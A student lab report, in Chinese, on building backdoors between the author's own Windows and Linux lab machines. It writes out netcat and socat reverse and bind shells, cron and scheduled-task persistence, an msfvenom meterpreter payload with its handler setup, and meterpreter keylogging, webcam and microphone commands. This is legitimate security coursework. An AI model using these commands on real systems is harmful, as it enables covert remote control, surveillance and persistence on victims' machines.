实验内容
- (1)使用netcat获取主机操作Shell,cron启动
- (2)使用socat获取主机操作Shell, 任务计划启动
- (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- (5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。加分内容一并写入本实验报告。
实验环境
- Windows主机IP:192.168.6.144
- Linux虚拟机IP:192.168.80.129
实验工具
- netcat。在linux下叫ncat,kali机自带,windows7/10中,需下载,可直接使用。
- socat。netcat的增强版。安装方法同上。
- meterpreter。kali机自带,只在kali中用
实验步骤
1.使用netcat获取主机操作Shell
(1)Windows为攻击方
- win中使用ncat监听4305端口:ncat.exe -l -p 4305
- Linux中输入指令:nc 192.168.6.144 4305 -e /bin/sh 反弹连接Windows(指令中的ip地址需为Windows ip)
(2)Linux为攻击方
- 在Linux中监听4316端口:nc -l -p 4305
- 在Windows输入指令 ncat.exe -e cmd.exe 192.168.80.129 4305 反弹连接Linux的4305端口(指令中的ip地址需为Linux ip)
2.使用netcat获取主机操作Shell,cron启动
cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务 工具,并且会自动启动cron进程,cron进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
crontab文件的含义:
用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:minute hour day month week command
(1)用 crontab -e 指令编辑定时任务,选择3,也就是基本的vim编辑器(1也可以),vim编辑器中用 i 改为插入模式,在最后一行插入 59 * * * * /bin/netcat 192.168.6.144 4305 -e /bin/sh ,然后输入 wq! 保存并退出,上述指令表示每天每时的59分,都会反向连接Windows本机的4305
端口,就会启动cron
。
(2)在59分时输入ls,发现corn启动
3.使用socat获取主机操作Shell, 任务计划启动
socat
是ncat
的增强版,socat
的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address
就是代表了其中的一个方向。作为一款双向数据流通道工具,它拥有许多强大的功能:端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。
(1)右键开始菜单,选择计算机管理,点击任务管理计划库“创建任务”,填写任务名称,新建一个触发器。同时创建新操作,在操作->程序或脚本中选择 socat.exe 文件的路径,在添加参数一栏填写 tcp-listen:4305 exec:cmd.exe,pty,stderr ,这个命令的作用是把cmd.exe绑定到端口4305,同时把cmd.exe的stderr重定向到stdout上
(2)按快捷键win+L即能锁定计算机,创建的任务开始运行。此时在Linux中输入指令 socat - tcp:192.168.6.144:4305 ,发现成功获得了cmd.exe,能够输入Windows的命令
3.使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(1)Linux中输入指令生成后门程序(反弹链接地址应为Linux地址,部分上届博客存在错误),并使用ncat传输已经生成的20164305.exe程序文件。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=4305 -f exe > 20164305.exe
ncat.exe -lv 4305 > 20164305.exe
nc 192.168.6.144 4305< 20164305.exe
(2)在Linux中输入指令msfconsole,进入msf命令行,msf启动监听前需要进行一些设置
1 use exploit/multi/handler 2 set payload windows/x64/meterpreter/reverse_tcp 3 show options 4 set LHOST 192.168.80.129 5 set LPORT 4305 6 exploit
(3)启动监听后再在win中运行后门程序,此时Linux上已经获得了Windows主机的连接,并且得到了远程控制的shell,能够输入Windows中的命令。
4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
record_mic//截获音频 webcam_snap//使用摄像头 screenshot//进行截屏 keyscan_start//记录下击键的过程 keyscan_dump//读取击键的记录
5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
(1)按照正常思路,先利用msf生成shellcode代码(直接贴图了)
(2)然后按实验一中的步骤确定缓冲区临界点位置,然后将数据注入
(3)按第三部进行监听,然后就变成了一直等待
(4)经过查找msfvenom的指令手册,结合其他同学做法更改后门生成代码方式为 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=4305 -x /home+/pwn1 -f elf > pwn2 ,结果就成功了????(先把博客写了,然后去看看pwn2与我自己构造的区别)
(5)我又尝试将生成的c代码放到c语言程序中编译,发现编译后的exe也可以作为后门(只不过 杀软后就被自动清除了o(╥﹏╥)o)
实验基础问题回答:
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:通过访问钓鱼网站,自动下载。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:与其他软件进行捆绑,同时启动。
(3)Meterpreter有哪些给你映像深刻的功能?
答:能提升权限(这就有点无敌了.......).
(4)如何发现自己有系统有没有被安装后门?
答:借助外界软件,例如360安全软件和防火墙,或者查看任务管理器,禁用不认识的后台。
实验收获
后门很有趣,要在研究一下msfvenom是怎么把shellcode注入pwn1里的。